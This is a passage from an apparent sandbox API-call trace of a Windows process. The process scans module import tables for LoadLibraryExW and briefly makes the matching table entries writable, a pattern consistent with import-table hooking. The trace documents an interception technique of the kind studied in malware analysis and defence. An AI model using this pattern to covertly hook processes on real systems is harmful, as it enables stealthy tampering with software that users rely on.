lpString2="LoadLibraryExW") returned -1 [0073.602] lstrcmpiA (lpString1="GetProfileStringW", lpString2="LoadLibraryExW") returned -1 [0073.602] lstrcmpiA (lpString1="LockResource", lpString2="LoadLibraryExW") returned 1 [0073.602] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0073.602] VirtualProtect (in: lpAddress=0x7fef78174a8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x2) returned 1 [0073.602] VirtualProtect (in: lpAddress=0x7fef78174a8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x40) returned 1 [0073.602] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc450000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fefc450000, AllocationBase=0x7fefc450000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.602] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.602] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2040f20 [0073.602] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0073.602] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0073.602] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0073.602] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.602] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.602] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.602] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.603] lstrcmpiA (lpString1="API-MS-Win-Core-IO-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.603] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.603] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.603] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.603] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.603] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.603] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.603] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.603] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.603] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.603] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0073.603] lstrcmpiA (lpString1="profapi.dll", lpString2="KERNEL32.DLL") returned 1 [0073.603] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.603] lstrcmpiA (lpString1="PrivCopyFileExW", lpString2="LoadLibraryExW") returned 1 [0073.603] lstrcmpiA (lpString1="MoveFileExW", lpString2="LoadLibraryExW") returned 1 [0073.603] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0073.603] lstrcmpiA (lpString1="FindResourceW", lpString2="LoadLibraryExW") returned -1 [0073.603] lstrcmpiA (lpString1="SearchPathW", lpString2="LoadLibraryExW") returned 1 [0073.603] lstrcmpiA (lpString1="WaitForMultipleObjects", lpString2="LoadLibraryExW") returned 1 [0073.603] lstrcmpiA (lpString1="CreateSymbolicLinkW", lpString2="LoadLibraryExW") returned -1 [0073.603] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.603] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.603] lstrcmpiA (lpString1="DNSAPI.dll", lpString2="KERNEL32.DLL") returned -1 [0073.603] lstrcmpiA (lpString1="IPHLPAPI.DLL", lpString2="KERNEL32.DLL") returned -1 [0073.603] lstrcmpiA (lpString1="logoncli.dll", lpString2="KERNEL32.DLL") returned 1 [0073.603] lstrcmpiA (lpString1="netutils.dll", lpString2="KERNEL32.DLL") returned 1 [0073.603] lstrcmpiA (lpString1="ole32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.603] lstrcmpiA (lpString1="SspiCli.dll", lpString2="KERNEL32.DLL") returned 1 [0073.603] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="KERNEL32.DLL") returned 1 [0073.603] lstrcmpiA (lpString1="SHELL32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.603] lstrcmpiA (lpString1="GPAPI.dll", lpString2="KERNEL32.DLL") returned -1 [0073.603] lstrcmpiA (lpString1="GPSVC.dll", lpString2="KERNEL32.DLL") returned -1 [0073.603] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2040f20 | out: hHeap=0x2030000) returned 1 [0073.603] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd0b0000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fefd0b0000, AllocationBase=0x7fefd0b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.603] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.603] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2040f20 [0073.603] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0073.603] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0073.603] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0073.603] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.604] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.604] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.604] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.604] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.604] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.604] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.604] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.604] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.604] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.604] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.604] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.604] lstrcmpiA (lpString1="API-MS-Win-Core-DelayLoad-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.604] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.604] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.604] lstrcmpiA (lpString1="SspiCli.dll", lpString2="KERNEL32.DLL") returned 1 [0073.604] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0073.604] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2040f20 | out: hHeap=0x2030000) returned 1 [0073.604] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef6e90000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fef6e90000, AllocationBase=0x7fef6e90000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.604] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.604] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2040f20 [0073.604] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0073.604] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0073.604] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.604] lstrcmpiA (lpString1="webio.dll", lpString2="KERNEL32.DLL") returned 1 [0073.604] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.604] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0073.604] lstrcmpiA (lpString1="GetLocalTime", lpString2="LoadLibraryExW") returned -1 [0073.604] lstrcmpiA (lpString1="LocalFree", lpString2="LoadLibraryExW") returned 1 [0073.604] lstrcmpiA (lpString1="LocalAlloc", lpString2="LoadLibraryExW") returned 1 [0073.604] lstrcmpiA (lpString1="GetProcessHeap", lpString2="LoadLibraryExW") returned -1 [0073.604] lstrcmpiA (lpString1="UnregisterWaitEx", lpString2="LoadLibraryExW") returned 1 [0073.604] lstrcmpiA (lpString1="RegisterWaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0073.604] lstrcmpiA (lpString1="FormatMessageW", lpString2="LoadLibraryExW") returned -1 [0073.604] lstrcmpiA (lpString1="GlobalUnlock", lpString2="LoadLibraryExW") returned -1 [0073.604] lstrcmpiA (lpString1="GlobalLock", lpString2="LoadLibraryExW") returned -1 [0073.604] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0073.604] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0073.604] lstrcmpiA (lpString1="CreateEventA", lpString2="LoadLibraryExW") returned -1 [0073.604] lstrcmpiA (lpString1="LoadLibraryA", lpString2="LoadLibraryExW") returned -1 [0073.604] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0073.605] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0073.605] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0073.605] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0073.605] lstrcmpiA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="GetSystemInfo", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="ResetEvent", lpString2="LoadLibraryExW") returned 1 [0073.605] lstrcmpiA (lpString1="CompareStringW", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0073.605] lstrcmpiA (lpString1="WaitForMultipleObjects", lpString2="LoadLibraryExW") returned 1 [0073.605] lstrcmpiA (lpString1="CreateEventW", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="GetCurrentThread", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="GetVersionExA", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0073.605] lstrcmpiA (lpString1="CompareStringA", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="FileTimeToSystemTime", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="CreateThread", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="FreeLibraryAndExitThread", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="GetSystemDirectoryW", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="lstrcmpiW", lpString2="LoadLibraryExW") returned 1 [0073.605] lstrcmpiA (lpString1="SetFilePointer", lpString2="LoadLibraryExW") returned 1 [0073.605] lstrcmpiA (lpString1="SetEndOfFile", lpString2="LoadLibraryExW") returned 1 [0073.605] lstrcmpiA (lpString1="WriteFile", lpString2="LoadLibraryExW") returned 1 [0073.605] lstrcmpiA (lpString1="OutputDebugStringA", lpString2="LoadLibraryExW") returned 1 [0073.605] lstrcmpiA (lpString1="Sleep", lpString2="LoadLibraryExW") returned 1 [0073.605] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0073.605] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0073.605] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.605] lstrcmpiA (lpString1="GetModuleFileNameA", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="lstrlenA", lpString2="LoadLibraryExW") returned 1 [0073.605] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="SubmitThreadpoolWork", lpString2="LoadLibraryExW") returned 1 [0073.605] lstrcmpiA (lpString1="CallbackMayRunLong", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="CloseThreadpoolCleanupGroup", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="LoadLibraryExW") returned -1 [0073.605] lstrcmpiA (lpString1="CloseThreadpoolWork", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="CreateThreadpoolWork", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="CreateThreadpoolCleanupGroup", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="InitializeCriticalSectionAndSpinCount", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="CloseThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="SetThreadpoolTimer", lpString2="LoadLibraryExW") returned 1 [0073.606] lstrcmpiA (lpString1="CreateThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="FreeLibraryWhenCallbackReturns", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="GetDateFormatA", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="GetTickCount64", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="WaitForSingleObjectEx", lpString2="LoadLibraryExW") returned 1 [0073.606] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0073.606] lstrcmpiA (lpString1="CompareFileTime", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="lstrcmpA", lpString2="LoadLibraryExW") returned 1 [0073.606] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="FreeLibrary", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="GetProcAddress", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="GlobalFree", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="lstrlenW", lpString2="LoadLibraryExW") returned 1 [0073.606] lstrcmpiA (lpString1="GlobalAlloc", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="LocalFileTimeToFileTime", lpString2="LoadLibraryExW") returned 1 [0073.606] lstrcmpiA (lpString1="SetLastError", lpString2="LoadLibraryExW") returned 1 [0073.606] lstrcmpiA (lpString1="HeapFree", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="HeapAlloc", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0073.606] lstrcmpiA (lpString1="HeapReAlloc", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0073.606] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="GetSystemTime", lpString2="LoadLibraryExW") returned -1 [0073.606] lstrcmpiA (lpString1="SystemTimeToFileTime", lpString2="LoadLibraryExW") returned 1 [0073.606] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.606] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.606] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.606] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.606] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.607] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.607] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="KERNEL32.DLL") returned 1 [0073.607] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.607] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0073.607] lstrcmpiA (lpString1="IPHLPAPI.DLL", lpString2="KERNEL32.DLL") returned -1 [0073.607] lstrcmpiA (lpString1="ole32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.607] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.607] lstrcmpiA (lpString1="SspiCli.dll", lpString2="KERNEL32.DLL") returned 1 [0073.607] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.607] lstrcmpiA (lpString1="WS2_32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.607] lstrcmpiA (lpString1="DNSAPI.dll", lpString2="KERNEL32.DLL") returned -1 [0073.607] lstrcmpiA (lpString1="NSI.dll", lpString2="KERNEL32.DLL") returned 1 [0073.607] lstrcmpiA (lpString1="CFGMGR32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.607] lstrcmpiA (lpString1="dhcpcsvc.DLL", lpString2="KERNEL32.DLL") returned -1 [0073.607] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2040f20 | out: hHeap=0x2030000) returned 1 [0073.607] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef6e20000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fef6e20000, AllocationBase=0x7fef6e20000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.607] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.607] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2040f20 [0073.607] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0073.607] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0073.607] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.607] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.607] lstrcmpiA (lpString1="WaitForThreadpoolTimerCallbacks", lpString2="LoadLibraryExW") returned 1 [0073.607] lstrcmpiA (lpString1="CloseThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0073.607] lstrcmpiA (lpString1="CreateThreadpoolIo", lpString2="LoadLibraryExW") returned -1 [0073.607] lstrcmpiA (lpString1="SubmitThreadpoolWork", lpString2="LoadLibraryExW") returned 1 [0073.607] lstrcmpiA (lpString1="CloseThreadpoolIo", lpString2="LoadLibraryExW") returned -1 [0073.607] lstrcmpiA (lpString1="StartThreadpoolIo", lpString2="LoadLibraryExW") returned 1 [0073.607] lstrcmpiA (lpString1="CreateThreadpoolWork", lpString2="LoadLibraryExW") returned -1 [0073.607] lstrcmpiA (lpString1="CancelThreadpoolIo", lpString2="LoadLibraryExW") returned -1 [0073.607] lstrcmpiA (lpString1="CloseThreadpoolWork", lpString2="LoadLibraryExW") returned -1 [0073.607] lstrcmpiA (lpString1="TrySubmitThreadpoolCallback", lpString2="LoadLibraryExW") returned 1 [0073.607] lstrcmpiA (lpString1="CallbackMayRunLong", lpString2="LoadLibraryExW") returned -1 [0073.607] lstrcmpiA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="LoadLibraryExW") returned -1 [0073.607] lstrcmpiA (lpString1="CreateThreadpoolCleanupGroup", lpString2="LoadLibraryExW") returned -1 [0073.607] lstrcmpiA (lpString1="CloseThreadpoolCleanupGroup", lpString2="LoadLibraryExW") returned -1 [0073.607] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0073.607] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0073.607] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0073.608] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0073.608] lstrcmpiA (lpString1="GetCurrentProcessorNumber", lpString2="LoadLibraryExW") returned -1 [0073.608] lstrcmpiA (lpString1="InterlockedPushEntrySList", lpString2="LoadLibraryExW") returned -1 [0073.608] lstrcmpiA (lpString1="QueryDepthSList", lpString2="LoadLibraryExW") returned 1 [0073.608] lstrcmpiA (lpString1="InterlockedPopEntrySList", lpString2="LoadLibraryExW") returned -1 [0073.608] lstrcmpiA (lpString1="InitializeSListHead", lpString2="LoadLibraryExW") returned -1 [0073.608] lstrcmpiA (lpString1="GetCurrentThread", lpString2="LoadLibraryExW") returned -1 [0073.608] lstrcmpiA (lpString1="RaiseFailFastException", lpString2="LoadLibraryExW") returned 1 [0073.608] lstrcmpiA (lpString1="CompareStringOrdinal", lpString2="LoadLibraryExW") returned -1 [0073.608] lstrcmpiA (lpString1="GetSystemDirectoryW", lpString2="LoadLibraryExW") returned -1 [0073.608] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0073.608] VirtualProtect (in: lpAddress=0x7fef6e5b250, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x2) returned 1 [0073.608] VirtualProtect (in: lpAddress=0x7fef6e5b250, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x40) returned 1 [0073.608] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9a10000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fef9a10000, AllocationBase=0x7fef9a10000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.608] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.608] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2040f90 [0073.608] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2040f90 | out: hHeap=0x2030000) returned 1 [0073.608] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd640000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fefd640000, AllocationBase=0x7fefd640000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.608] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.608] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2040f90 [0073.608] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.608] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0073.608] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.608] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.609] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.609] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0073.609] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0073.609] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0073.609] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0073.609] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0073.609] lstrcmpiA (lpString1="MapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0073.609] lstrcmpiA (lpString1="OpenFileMappingW", lpString2="LoadLibraryExW") returned 1 [0073.609] lstrcmpiA (lpString1="lstrlenA", lpString2="LoadLibraryExW") returned 1 [0073.609] lstrcmpiA (lpString1="IsDBCSLeadByte", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="GetProfileIntW", lpString2="LoadLibraryExW") returned -1 [0073.609] lstrcmpiA (lpString1="lstrcmpW", lpString2="LoadLibraryExW") returned 1 [0073.609] lstrcmpiA (lpString1="Sleep", 